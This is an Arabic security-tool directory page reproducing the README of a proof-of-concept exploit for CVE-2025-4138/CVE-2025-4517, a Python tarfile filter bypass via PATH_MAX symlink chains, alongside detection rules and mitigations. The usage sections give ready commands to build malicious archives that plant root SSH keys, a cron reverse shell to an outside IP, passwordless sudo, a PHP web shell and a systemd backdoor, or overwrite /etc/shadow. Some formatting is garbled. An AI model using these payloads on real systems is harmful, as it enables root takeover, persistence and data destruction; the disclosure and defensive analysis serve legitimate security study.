Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-4138-4517-POC — CVE-2025-4138 / CVE-2025-4517 — تجاوز مرشح الروابط الرمزية PATH_MAX في Python tarfile | Kitploit
أدوات/GitHubGitHub/desertdemons/cve-2025-4138-4517-poc
تصعيد الامتيازاتتوليد الحمولةتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالتعلم والتعليماستغلال الملفات الثنائية
GitHubdesertdemons/cve-2025-4138-4517-poc

CVE-2025-4138-4517-POC

CVE-2025-4138 / CVE-2025-4517 — تجاوز مرشح الروابط الرمزية PATH_MAX في Python tarfile

عرض المستودع
172منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-4138 CVE-2025-4517 CVSS 9.4 Python Affected

CVE-2025-4138 / CVE-2025-4517
تجاوز مرشح Python tarfile عبر هروب الروابط الرمزية PATH_MAX

كتابة ملفات تعسفية عبر استخراج filter="data" / filter="tar"

Type CWE-22 Platform Language License Stars Forks Last Commit


جدول المحتويات

  • نظرة عامة
  • تفاصيل الثغرة
  • كيف يعمل
  • الإصدارات المتأثرة
  • نمط الكود المتأثر
  • التثبيت
  • الاستخدام
    • بدء سريع — حقن مفتاح SSH
    • الهجمات الجاهزة
    • الهدف المخصص
  • إثبات المفهوم — التحقق الآمن
  • غوص تقني عميق
    • PATH_MAX و os.path.realpath()
    • بناء سلسلة الروابط الرمزية
    • آلية تجاوز المرشح
    • مراحل الاستغلال
  • سيناريوهات الهجوم الواقعية
  • الكشف
  • التخفيف
  • CVEs ذات الصلة
  • الخط الزمني
  • المراجع
  • الاعتمادات
  • إخلاء المسؤولية
  • الترخيص

نظرة عامة

ثغرة خطيرة في وحدة tarfile في Python تسمح للمهاجم بـ تجاوز مرشحات الاستخراج ("data" و "tar") وكتابة ملفات تعسفية خارج دليل الاستخراج المقصود. عندما تقوم عملية مميزة (مثل سكربت نسخ احتياطي بصلاحيات الجذر، أو خط أنابيب CI/CD، أو مثبّت حزم) باستخراج أرشيف tar يتحكم فيه المهاجم باستخدام المعامل الآمن المفترض filter="data"، يحقق هذا الاستغلال كتابة ملفات تعسفية كاملة بصلاحيات ذلك المستخدم المميز — وعادةً ما يؤدي إلى تصعيد الصلاحيات إلى الجذر.

السبب الجذري هو سلوك غريب في os.path.realpath(): إذ يتوقف بصمت عن حل الروابط الرمزية بمجرد أن يتجاوز المسار المُوسَّع بالكامل PATH_MAX (4096 بايت على لينكس، و1024 على macOS). يعتمد مرشح tarfile على realpath() للتحقق الأمني، لكن النواة تحل الروابط الرمزية بشكل مستقل أثناء الاستخراج — مما يخلق فجوة TOCTOU (وقت الفحص مقابل وقت الاستخدام) تتيح الهروب من الدليل.


تفاصيل الثغرة


كيف يعمل```

root@kitploit:~
                ┌───────────────────────────────────────────┐
                │         Malicious Tar Structure            │
                └───────────────────────────────────────────┘

Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX

root@kitploit:~
ddd...ddd/              (directory, 247 chars)
a  →  ddd...ddd         (symlink,   1 char name → 247 char dir)
ddd...ddd/ddd...ddd/    (nested directory)
b  →  ddd...ddd         (symlink)
...  ×16 levels

Short path (symlinks):   a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p       ~31 chars
Resolved path (dirs):    ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/…      ~3968 chars
                                                           ↑ nearing PATH_MAX

Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving

root@kitploit:~
a/b/c/…/p/lll…lll  →  ../../../../../../../../../../../../../../../../..
                        (16 levels of ".." — traverses back to extraction root)

┌─────────────────────────────────────────────────────────────────┐
│  os.path.realpath()  CANNOT expand this  →  filter says "OK" ✓ │
│  Linux kernel         DOES follow chain  →  actually escapes ✗ │
└─────────────────────────────────────────────────────────────────┘

Stage 3 ── Escape symlink resolves to arbitrary filesystem path

root@kitploit:~
escape  →  <overflow_link>/../../../../../../../root

Stage 4 ── Create intermediate directories through the escape

root@kitploit:~
escape/.ssh/            (directory, mode 0700 — created by tar extraction)

Stage 5 ── Write payload through the escaped symlink

root@kitploit:~
escape/.ssh/authorized_keys  →  writes to /root/.ssh/authorized_keys  🔓
root@kitploit:~
---

## الإصدارات المتأثرة

| فرع Python | النطاق المعرض للخطر | الإصدار المُصحَّح | الحالة |
|:--|:--|:--|:--|
| 3.13 | 3.13.0 – 3.13.3 | **3.13.4** | ✅ تم التصحيح |
| 3.12 | 3.12.0 – 3.12.10 | **3.12.11** | ✅ تم التصحيح |
| 3.11 | 3.11.4 – 3.11.12 | **3.11.13** | ✅ تم التصحيح |
| 3.10 | 3.10.12 – 3.10.17 | **3.10.18** | ✅ تم التصحيح |
| 3.9 | 3.9.17 – 3.9.22 | **3.9.23** | ✅ تم التصحيح |
| 3.8 | 3.8.17 – 3.8.20 | — | ❌ نهاية الدعم |
| 3.14+ | تم تغيير الفلتر الافتراضي إلى `"data"` | تحقق من الأحدث | ⚠️ تعرض أعلى |

> **ملاحظة:** غيّرت Python 3.14+ المعامل الافتراضي `filter` من عدم التصفية إلى `"data"`، مما يعني أن التطبيقات التي لم يكن لديها فلتر سابقًا (وبالتالي كانت غير آمنة بالفعل) تستخدم الآن الفلتر المعرض للخطر افتراضيًا.

---

## نمط الكود المتأثر

أي تطبيق يفعل ذلك على إصدار Python معرض للخطر يكون قابلاً للاستغلال:```python
import tarfile

# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="data")

# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="tar")

حالات شائعة في العالم الحقيقي:

  • نصوص النسخ الاحتياطي/الاستعادة التي تعمل بصلاحيات الجذر (root)
  • خطوط أنابيب CI/CD لاستخراج مخرجات البناء
  • مديرو الحزم وأدوات التثبيت لمعالجة توزيعات .tar
  • تطبيقات الويب التي تقبل أرشيفات يرفعها المستخدمون
  • أدوات إدارة الإعدادات لاستخراج حزم النشر

التثبيت```bash

git clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git cd CVE-2025-4138-4517-POC

No dependencies — uses only Python standard library

python3 exploit.py --help

root@kitploit:~
**المتطلبات:** Python 3.6+ (لإنشاء الأرشيف — يجب أن يعمل **الهدف** على إصدار قابل للاستغلال)

---

## الاستخدام

### بدء سريع — حقن مفتاح SSH```bash
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub   # verify key was created

# 2. Create the malicious tar archive
python3 exploit.py \
    --preset ssh-key \
    --payload ~/.ssh/id_ed25519.pub \
    --tar-out ./evil.tar

# 3. Deliver the tar and trigger privileged extraction
#    (method varies — backup script, upload endpoint, CI pipeline, etc.)
#    Example: sudo python3 vulnerable_app.py --extract evil.tar

# 4. SSH in as root (use the SAME key you generated in step 1)
ssh -i ~/.ssh/id_ed25519 root@target

مهم: يقوم الاستغلال تلقائيًا بإنشاء الدلائل الوسيطة (مثل /root/.ssh/) داخل أرشيف tar. إذا لم يكن الدليل الهدف موجودًا على نظام الملفات، فسيقوم extractall() بإنشائه أثناء الاستخراج.

الهجمات المحددة مسبقًا

Reverse shell via cron (every minute)

python3 exploit.py --preset cron --extra 10.0.0.5 --tar-out evil.tar

Passwordless sudo for user "john"

python3 exploit.py --preset sudoers --extra john --tar-out evil.tar

SSH key with custom file mode

python3 exploit.py --preset ssh-key --payload ~/.ssh/id_rsa.pub
--mode 0600 --tar-out evil.tar

root@kitploit:~
### هدف مخصص

اكتب أي محتوى إلى أي مسار مطلق على نظام الملفات الهدف:```bash
# Overwrite MOTD
python3 exploit.py \
    --target /etc/motd \
    --payload "Authorized access only." \
    --mode 0644 \
    --tar-out evil.tar

# Plant a web shell
python3 exploit.py \
    --target /var/www/html/shell.php \
    --payload '<?php system($_GET["cmd"]); ?>' \
    --mode 0644 \
    --tar-out evil.tar

# Overwrite a systemd service for persistence
python3 exploit.py \
    --target /etc/systemd/system/backdoor.service \
    --payload backdoor.service \
    --mode 0644 \
    --tar-out evil.tar

إثبات المفهوم — التحقق الآمن

اختبر ما إذا كان النظام معرضًا للخطر دون لمس الملفات الحساسة:```bash

1. Create isolated test environment

mkdir -p /tmp/cve_test/flag /tmp/cve_test/extract echo "original_content" > /tmp/cve_test/flag/testfile

2. Generate PoC tar targeting the test file

python3 exploit.py
--target /tmp/cve_test/flag/testfile
--payload "OVERWRITTEN_BY_CVE-2025-4138"
--tar-out /tmp/cve_test/poc.tar

3. Extract with filter="data" (simulating a vulnerable application)

python3 -c " import tarfile tarfile.open('/tmp/cve_test/poc.tar', 'r').extractall( '/tmp/cve_test/extract', filter='data' ) "

4. Check result

cat /tmp/cve_test/flag/testfile

Vulnerable: "OVERWRITTEN_BY_CVE-2025-4138"

Patched: "original_content" (extraction raises error)

5. Cleanup

rm -rf /tmp/cve_test

root@kitploit:~
### تحقق سريع من الإصدار```bash
python3 -c "
import sys
v = sys.version_info
vuln = (
    (v.minor == 12 and v.micro <= 10) or
    (v.minor == 13 and v.micro <= 3) or
    (v.minor == 11 and 4 <= v.micro <= 12) or
    (v.minor == 10 and 12 <= v.micro <= 17) or
    (v.minor == 9 and 17 <= v.micro <= 22)
)
status = '❌ VULNERABLE' if vuln else '✅ Patched/Not affected'
print(f'Python {sys.version} — {status}')
"

الغوص التقني العميق

PATH_MAX و os.path.realpath()

على لينكس، يُعرَّف PATH_MAX بأنه 4096 بايت. وعلى macOS، يكون 1024 بايت. عندما يحل os.path.realpath() مسارًا مكوّنًا بعد مكوّن، ويتجاوز المسار المُحلَّل المتراكم هذا الحد، فإنه يتوقف بصمت عن حل المكوّنات المتبقية ويُلحقها كسلاسل حرفية.``` os.path.realpath() behavior:

Input: /extract/a/b/c/.../p/llll.../../../../../root/.ssh │ ├── resolved portion: /extract/ddd.../ddd.../... (3968+ bytes) └── unresolved tail: /../../../../root/.ssh ↑ appended literally!

Output: /extract/ddd.../ddd.../ddd.../../../../../root/.ssh │ │ └── Starts with /extract/ → filter says "OK" ✓ │ └── But the ../ is real!

root@kitploit:~
هذا سلوك **موثّق** لدالة `realpath()`، لكن تطبيق مرشّح tarfile لم يراعِ ذلك.

### إنشاء سلسلة الروابط الرمزية

يتكون كل مستوى من السلسلة من:

| الإدخال | النوع | طول الاسم | الغرض |
|:--|:--|:--|:--|
| دليل | `DIRTYPE` | 247 حرفًا (Linux) / 55 حرفًا (macOS) | الاسم الطويل يضخّم المسار المُحَلَّل |
| رابط رمزي | `SYMTYPE` | حرف واحد (`a`, `b`, …, `p`) | اسم قصير بديل للدليل الطويل |

بعد 16 مستوىً:

| المقياس | القيمة |
|:--|:--|
| **المسار القصير** (عبر الروابط الرمزية) | `a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p` ≈ 31 حرفًا |
| **المسار المُحَلَّل** (عبر الأدلة) | `ddd…/ddd…/ddd…/…` ≈ **3968 حرفًا** |
| **PATH_MAX** | 4096 بايت |
| **الميزانية المتبقية** | ~128 بايت — لا تكفي لحمولة الاجتياز |

### آلية تجاوز المرشّح

يقوم `data_filter` في وحدة tarfile في Python بتنفيذ هذا الفحص:```python
# Simplified from Lib/tarfile.py
def _check_linkname(member, dest_path):
    target = os.path.realpath(os.path.join(dest_path, member.linkname))
    if not target.startswith(dest_path):
        raise FilterError("link would escape destination")

الثغرة:

  1. realpath() يستقبل: /extract/a/b/c/.../p/lll.../../../../../root/.ssh
  2. realpath() يُحلِّل الجزء a/b/c/.../p عبر سلسلة الروابط الرمزية → 3968+ بايت
  3. تجاوز PATH_MAX → يتم إلحاق الجزء المتبقي ../../../../root/.ssh حرفيًا
  4. النتيجة: /extract/ddd…(3968 chars)…/../../../../root/.ssh
  5. فحص الفلتر: يبدأ بـ /extract/ → يجتاز ✓
  6. استخراج النواة: يتبع الروابط الرمزية الفعلية → يحل ../ بشكل طبيعي → يهرب إلى /root
  7. إنشاء الدليل: يتم استخراج escape/.ssh كدليل → ينشئ /root/.ssh/ (الوضع 0700)
  8. → يكتب إلى

مراحل الاستغلال```

┌────────────────────────────────────────────────────────────────────────┐ │ EXPLOIT PIPELINE │ ├────────────────────────────────────────────────────────────────────────┤ │ │ │ Stage 1: PATH_MAX Inflation │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ dir(247) │──▶│ sym a→d │──▶ ... │ sym p→d │ ×16 levels │ │ └─────────┘ └─────────┘ └─────────┘ │ │ Resolved path accumulates to ~3968 bytes │ │ │ │ Stage 2: Pivot Symlink (exceeds PATH_MAX) │ │ ┌──────────────────────────────────────────┐ │ │ │ a/b/c/.../p/lll...lll → ../../... (×16) │ │ │ └──────────────────────────────────────────┘ │ │ realpath() cannot resolve → filter is blind │ │ │ │ Stage 3: Escape Symlink │ │ ┌──────────────────────────────────────────┐ │ │ │ escape → /../../../../<target_root>│ │ │ └──────────────────────────────────────────┘ │ │ Points to the target's top-level parent (e.g. /root) │ │ │ │ Stage 4: Create Intermediate Directories │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh (DIRTYPE, mode 0700) │ │ │ └──────────────────────────────────────────┘ │ │ Ensures parent dirs exist (e.g. /root/.ssh) — critical │ │ for targets where the parent directory may not exist │ │ │ │ Stage 5: Payload Write │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh/authorized_keys = payload │ │ │ └──────────────────────────────────────────┘ │ │ File is written through the escaped symlink as the │ │ process owner (typically root) │ │ │ └────────────────────────────────────────────────────────────────────────┘

root@kitploit:~
---

## سيناريوهات هجوم واقعية

### 1. استعادة النسخ الاحتياطي بصلاحيات مرتفعة

يقوم سكربت نسخ احتياطي يعمل بصلاحيات root باستخراج أرشيفات tar يقدمها المستخدم:```python
# /usr/local/bin/restore_backup.py (runs via sudo)
tar.extractall(path="/var/backups/restored", filter="data")

التأثير: يقدّم المهاجم نسخة احتياطية خبيثة → يكتب مفتاح SSH إلى /root/.ssh/authorized_keys → يحصل على شل جذر.

2. استخراج القطع الأثرية من خط أنابيب CI/CD

يستخرج نظام البناء القطع الأثرية من مصادر غير موثوقة:```python

Jenkins/GitLab runner extracting build output

tar.extractall(path=workspace_dir, filter="data")

root@kitploit:~
**الأثر:** يهرب الأثر الخبيث من مساحة العمل ← يكتب فوق إعدادات CI ← يحقق تنفيذ الكود على البنية التحتية للبناء.

### 3. معالجة رفع تطبيق الويب

يقبل تطبيق الويب رفع ملفات tar ويستخرجها:```python
# Flask/Django file processing endpoint
tar.extractall(path=upload_dir, filter="data")

التأثير: مهاجم عن بُعد يرفع ملف tar مُعدًّا → يكتب قشرة ويب في جذر المستندات → يحقق تنفيذًا عن بُعد للتعليمات البرمجية (RCE).

4. تثبيت الحزم

مديرو حزم Python عند استخراج التوزيعات المصدرية:```python

pip/setuptools extracting sdist

tar.extractall(path=build_dir, filter="data")

root@kitploit:~
**التأثير:** حزمة PyPI خبيثة تهرب من دليل البناء → تعدّل ملفات النظام.

---

## الاكتشاف

### مؤشرات الاختراق

راقب هذه الأنماط التي قد تشير إلى الاستغلال:```bash
# Check for deeply nested symlink chains in extracted directories
find /path/to/extractions -maxdepth 20 -type l | \
    xargs -I{} readlink {} | grep -c "^d\{200,\}"

# Audit tar extraction operations in application logs
grep -r "extractall\|filter=\"data\"\|filter=\"tar\"" /var/log/

# Monitor for unexpected file writes in sensitive directories
auditctl -w /root/.ssh/ -p wa -k tarfile_escape
auditctl -w /etc/cron.d/ -p wa -k tarfile_escape
auditctl -w /etc/sudoers.d/ -p wa -k tarfile_escape

قاعدة YARA```yara

rule CVE_2025_4138_Malicious_Tar { meta: description = "Detects tar archives crafted for CVE-2025-4138 PATH_MAX bypass" cve = "CVE-2025-4138" severity = "critical" strings: $long_dir = /d{240,250}// ascii $chain = /[a-p]/[a-p]/[a-p]/[a-p]/ ascii $pad = /l{250,}/ ascii $traversal = "../../../" ascii condition: uint16(0) == 0x0000 and $long_dir and $chain and ($pad or #traversal > 8) }

root@kitploit:~
---

## التخفيف

### 1. ترقية Python (موصى به)```bash
# Check current version
python3 -c "import sys; print(sys.version)"

# Upgrade to patched version:
#   3.9.23+  |  3.10.18+  |  3.11.13+  |  3.12.11+  |  3.13.4+

2. التحقق قبل الاستخراج (حل بديل)

إذا لم تكن الترقية الفورية ممكنة:```python import pathlib import tarfile

def safe_extract(tar_path: str, dest: str) -> None: """Extract tar archive with CVE-2025-4138 mitigation.""" with tarfile.open(tar_path, "r") as tar: for member in tar.getmembers(): # Block symlinks with traversal in link targets if member.linkname: parts = pathlib.PurePosixPath(member.linkname).parts if ".." in parts: raise ValueError( f"Blocked: '{member.name}' has traversal " f"in linkname: '{member.linkname}'" ) # Block absolute symlink targets if member.issym() and member.linkname.startswith("/"): raise ValueError( f"Blocked: '{member.name}' has absolute " f"symlink target: '{member.linkname}'" ) # Re-open to reset iterator tar.extractall(path=dest, filter="data")

root@kitploit:~
### 3. الاستخراج في بيئة معزولة```bash
# Extract in a minimal container or namespace
unshare --mount --map-root-user -- sh -c '
    mount -t tmpfs tmpfs /mnt
    python3 -c "
import tarfile
tarfile.open(\"archive.tar\", \"r\").extractall(\"/mnt/extract\", filter=\"data\")
    "
'

4. أدوات استخراج بديلة```bash

Use GNU tar instead of Python tarfile

tar --no-same-permissions --no-same-owner -xf archive.tar -C /dest/

root@kitploit:~
---

## CVEs ذات الصلة

| CVE | الوصف | درجة الخطورة |
|:--|:--|:--|
| **CVE-2025-4138** | تجاوز مرشح هدف الرابط الرمزي عبر تجاوز PATH_MAX | حرجة |
| **CVE-2025-4517** | كتابة ملفات عشوائية عبر تجاوز realpath (نفس السبب الجذري) | حرجة |
| **CVE-2025-4330** | عبور مسار عبر الروابط الرمزية متجاوزًا مرشحات الاستخراج | عالية |
| **CVE-2024-12718** | تعديل بيانات وصفية للملفات خارج مجلد الاستخراج | عالية |
| **CVE-2025-4435** | الملفات المفلترة ما تزال تُستخرج عند `errorlevel=0` | متوسطة |
| **CVE-2007-4559** | عبور المسار الأصلي في tarfile (حقبة ما قبل المرشحات) | عالية |

تمت معالجة جميعها في [CPython Issue #135034](https://github.com/python/cpython/issues/135034) و[PR #135037](https://github.com/python/cpython/pull/135037).

---

## الجدول الزمني

| التاريخ | الحدث |
|:--|:--|
| 2025-04-30 | تم الإبلاغ عن الثغرة إلى فريق الاستجابة الأمنية في Python |
| 2025-06-02 | تم فتح قضية عامة — [CPython #135034](https://github.com/python/cpython/issues/135034) |
| 2025-06-03 | تم دمج الإصلاح — [CPython PR #135037](https://github.com/python/cpython/pull/135037) |
| 2025-06-03 | تم نشر [إعلان أمان PSF](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) |
| 2025-06-03 | إصدارات مُصحّحة: Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| 2025-06-04 | نشرة CERT-FR [CERTFR-2025-AVI-0475](https://www.cert.ssi.gouv.fr/) |
| 2025-06-20 | نشرة Google Security Research [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) |
| 2025-07-20 | الكشف الكامل |

---

## المراجع

- [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) — نشرة Google Security Research والبرهان الأصلي للمفهوم (PoC)
- [CPython Issue #135034](https://github.com/python/cpython/issues/135034) — تقرير الخطأ الرئيسي (Upstream)
- [CPython PR #135037](https://github.com/python/cpython/pull/135037) — كوميت الإصلاح
- [إعلان أمان PSF](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) — النشرة الرسمية
- [Gist التخفيف الذي أعده Seth Larson](https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f) — نص برمجي سريع للتخفيف
- [NVD — CVE-2025-4138](https://nvd.nist.gov/vuln/detail/CVE-2025-4138)
- [NVD — CVE-2025-4517](https://nvd.nist.gov/vuln/detail/CVE-2025-4517)
- [توثيق مرشحات الاستخراج في Python `tarfile`](https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter)
- [صفحة الدليل Linux `realpath(3)`](https://man7.org/linux/man-pages/man3/realpath.3.html) — سلوك PATH_MAX

---

## الإشادات

- **اكتشاف الثغرة:** [Caleb Brown](https://github.com/calebbrown) — Google Security Research
- **مؤلّفو التصحيح:** Łukasz Langa, Petr Viktorin, Seth Michael Larson, Serhiy Storchaka
- **هذا البرهان (PoC):** [DesertDemon](https://github.com/DesertDemons)

---

## إخلاء المسؤولية

> **⚠️ هذه الأداة مخصصة حصريًا لاختبار الأمان المصرح به والأغراض البحثية والتعليمية.**
>
> الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني بموجب قانون الاحتيال وإساءة استخدام الحاسوب (CFAA)، وقانون إساءة استخدام الحاسوب، والتشريعات المماثلة في جميع أنحاء العالم. احصل دائمًا على إذن كتابي صريح قبل اختبار أي نظام لا تملكه.
>
> لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذا البرنامج. باستخدامك لهذه الأداة، فإنك توافق على أنك المسؤول الوحيد عن أفعالك وأنك ستلتزم بجميع القوانين المعمول بها.

---

**الوسوم:** `cve-2025-4138` `cve-2025-4517` `python` `tarfile` `path-traversal` `symlink` `privilege-escalation` `arbitrary-file-write` `toctou` `cwe-22` `linux` `macos`

## الترخيص

هذا المشروع مرخّص بموجب [رخصة MIT](https://github.com/desertdemons/cve-2025-4138-4517-poc/blob/HEAD/LICENSE).

---

<p align="center">
  <sub>
    🔐 إذا وجدت هذا مفيدًا، فكّر في وضع نجمة على المستودع<br>
    📫 للاستفسارات المتعلقة بالكشف المسؤول، افتح قضية أو تواصل عبر GitHub
  </sub>
</p>
تنزيل الأداة
الحقلالقيمة
معرّفات CVECVE-2025-4138، CVE-2025-4517
CVSS v3.19.4 (حرجة) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
CWECWE-22 — تقييد غير سليم لاسم المسار داخل دليل مقيد
نوع الثغرةتجاوز المسار عبر الروابط الرمزية / تجاوز المرشح
التأثيركتابة ملفات تعسفية → تصعيد الصلاحيات، الهروب من صندوق الحماية، العبث بالبيانات
متجه الهجومتسليم أرشيف tar خبيث إلى أي تطبيق يستخدم tarfile.extractall() مع المرشحات
الإصدارات المتأثرةPython 3.12.0 – 3.12.10, 3.13.0 – 3.13.3
تم الإصلاح فيPython 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4
التصحيحCPython PR #135037
الإشعار الأمنيGHSA-hgqp-3mmf-7h8f
المُبلِّغCaleb Brown — Google Security Research
الإعداد المسبقالملف الهدفالوصفمعامل --extra
ssh-key/root/.ssh/authorized_keysحقن مفتاح SSH العام لتسجيل دخول الجذر—
cron/etc/cron.d/pwnedإسقاط مهمة cron لقشرة عكسية بصلاحيات الجذرعنوان IP الخاص بـ LHOST
sudoers/etc/sudoers.d/pwnedإضافة قاعدة sudo من نوع NOPASSWD لمستخدماسم المستخدم
shadow/etc/shadowالكتابة فوق ملف shadow (⚠️ تدميري)—
passwd/etc/passwdالكتابة فوق ملف passwd (⚠️ تدميري)—
كتابة الحمولة:
escape/.ssh/authorized_keys
/root/.ssh/authorized_keys